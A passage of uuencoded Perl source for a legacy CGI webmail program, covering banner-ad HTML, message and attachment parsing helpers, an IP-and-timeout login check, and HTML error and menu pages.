<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
